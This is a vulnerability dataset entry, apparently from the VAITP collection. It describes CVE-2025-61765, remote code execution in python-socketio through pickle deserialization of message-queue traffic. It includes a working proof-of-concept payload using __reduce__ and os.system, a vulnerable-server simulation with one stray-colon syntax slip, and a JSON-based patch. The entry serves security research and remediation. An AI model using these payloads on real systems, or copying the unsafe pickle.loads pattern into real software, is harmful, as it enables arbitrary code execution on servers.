CVE-2025-61765
python-socketio: RCE via pickle deserialization in compromised message queues.
- CVSS 6.4
- CWE-502
- Input Validation and Sanitization
- Local
python-socketio is a Python implementation of the Socket.IO realtime client and server. A remote code execution vulnerability in python-socketio versions prior to 5.14.0 allows attackers to execute arbitrary Python code through malicious pickle deserialization in multi-server deployments on which the attacker previously gained access to the message queue that the servers use for internal communications. When Socket.IO servers are configured to use a message queue backend such as Redis for inter-server communication, messages sent between the servers are encoded using the `pickle` Python module. When a server receives one of these messages through the message queue, it assumes it is trusted and immediately deserializes it. The vulnerability stems from deserialization of messages using Python's `pickle.loads()` function. Having previously obtained access to the message queue, the attacker can send a python-socketio server a crafted pickle payload that executes arbitrary code during deserialization via Python's `__reduce__` method. This vulnerability only affects deployments with a compromised message queue. The attack can lead to the attacker executing random code in the context of, and with the privileges of a Socket.IO server process. Single-server systems that do not use a message queue, and multi-server systems with a secure message queue are not vulnerable. In addition to making sure standard security practices are followed in the deployment of the message queue, users of the python-socketio package can upgrade to version 5.14.0 or newer, which remove the `pickle` module and use the much safer JSON encoding for inter-server messaging.
- CWE
- CWE-502
- CVSS base score
- 6.4
- Published
- 2025-10-06
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Incorrect Algorithm
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- python-socke
- Fixed by upgrading
- Yes
Solution
Upgrade python-socketio to version 5.14.0 or newer.
Vulnerable code sample
import pickle
import os
import sys
# This code represents the actions of an attacker with access to the
# message queue used by a multi-server python-socketio deployment.
class RemoteCodeExecutor:
"""
A malicious class designed to execute a command upon deserialization.
When an object of this class is deserialized by pickle.loads(), its
__reduce__ method is called, which in turn executes a system command.
"""
def __reduce__(self):
"""Vulnerable function that demonstrates the security issue."""
# The command to be executed on the vulnerable server.
# For this demonstration, we create a file to prove execution.
command = "echo 'Vulnerability CVE-2025-61765 exploited' > /tmp/pwned"
# __reduce__ returns a tuple: (callable, (arguments...))
# This will cause os.system(command) to be executed during deserialization.
return (os.system, (command,))
def create_malicious_payload():
"""
The attacker crafts the malicious object and serializes it using pickle.
This serialized data is the payload that will be injected into the
message queue (e.g., Redis or RabbitMQ).
"""
malicious_object = RemoteCodeExecutor()
# The payload is the pickled representation of our malicious object.
payload = pickle.dumps(malicious_object)
return payload
# This part of the code simulates a vulnerable python-socketio server
# process (version < 5.14.0) that is listening to the message queue.
def vulnerable_server_process_message(message_from_queue):
"""
Simulates the server receiving a message from the queue and processing it.
The vulnerability lies in the direct and unsafe deserialization of the
message using pickle.loads().
"""
print("[SERVER] Received message from queue. Deserializing...")
try:
# VULNERABLE LINE: The server trusts the message and deserializes it,
# which triggers the remote code execution.
pickle.loads(message_from_queue)
print("[SERVER] Message deserialized successfully.")
except Exception as e:
print(f"[SERVER] An error occurred: {e}")
if __name__ == '__main__':
# 1. Attacker crafts the payload.
print("[ATTACKER] Crafting malicious pickle payload...")
malicious_payload = create_malicious_payload()
print("[ATTACKER] Payload created. Injecting into message queue.")
print("-" * 50)
# 2. Vulnerable server receives the payload from the message queue.
# In a real-world scenario, this would happen in a different process
# or on a different machine.
vulnerable_server_process_message(malicious_payload)
print("-" * 50)
# 3. Verify that the exploit was successful.
print("[VERIFICATION] Checking if the exploit was successful..."):
if os.path.exists('/tmp/pwned'):
print("[VERIFICATION] SUCCESS: The file '/tmp/pwned' was created.")
with open('/tmp/pwned', 'r') as f:
print(f"[VERIFICATION] File content: '{f.read().strip()}'")
# Clean up the created file.
os.remove('/tmp/pwned')
else:
print("[VERIFICATION] FAILURE: The file '/tmp/pwned' was not found.")Patched code sample
import json
class PatchedManager:
"""
This class represents the logic of the fix for CVE-2025-61765 in
python-socketio version 5.14.0 and newer.
The vulnerability existed because previous versions used Python's `pickle`
module to serialize and deserialize messages for inter-server communication
over a message queue.
The fix replaces the insecure `pickle.dumps()` and `pickle.loads()` with
the much safer `json.dumps()` and `json.loads()`. JSON is a data-interchange
format and does not execute code during deserialization, thus mitigating
the remote code execution vulnerability.
"""
def _encode(self, data):
"""
Encodes a message using the safe JSON format.
This method replaces the vulnerable `pickle.dumps(data)`.
"""
return json.dumps(data)
def _decode(self, data):
"""
Decodes a message using the safe JSON format.
This method replaces the vulnerable `pickle.loads(data)`.
"""
return json.loads(data)
# --- Demonstration of the fix ---
# 1. Instantiate the patched manager
safe_manager = PatchedManager()
# 2. A standard message that would be passed between servers
original_message = {'method': 'emit', 'event': 'message', 'data': 'hello'}
# 3. The sending server encodes the message before putting it on the queue
encoded_message = safe_manager._encode(original_message)
print(f"Encoded message (now safe JSON): {encoded_message}")
# 4. The receiving server decodes the message
decoded_message = safe_manager._decode(encoded_message)
print(f"Decoded message: {decoded_message}")
# 5. An attacker attempts to inject a malicious pickle payload into the queue.
# This payload is designed to execute `os.system('echo RCE attempt')` if deserialized with pickle.
malicious_pickle_payload = b"\x80\x04\x95/\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x06__import__\x94\x93\x94\x8c\x02os\x94\x85\x94R\x94\x8c\x06system\x94\x93\x94\x8c\x13echo RCE attempt\x94\x85\x94R\x94."
print("\n--- Simulating an attack with the patched manager ---")
try:
# The patched _decode method will use json.loads(), which cannot parse
# the pickle format and will raise an error instead of executing code.
safe_manager._decode(malicious_pickle_payload)
except Exception as e:
print(f"SUCCESS: The malicious payload was not executed.")
print(f"An error was raised as expected: {type(e).__name__}: {e}")Payload
import pickle
import os
class RCE:
def __reduce__(self):
cmd = "touch /tmp/pwned_by_cve"
return (os.system, (cmd,))
payload = pickle.dumps(RCE())
# The 'payload' variable now holds the bytes that would be injected
# into the compromised message queue (e.g., Redis).
# When a vulnerable python-socketio server consumes this message,
# it will execute os.system("touch /tmp/pwned_by_cve").
Cite this entry
@misc{vaitp:cve202561765,
title = {{python-socketio: RCE via pickle deserialization in compromised message queues.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-61765},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-61765/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
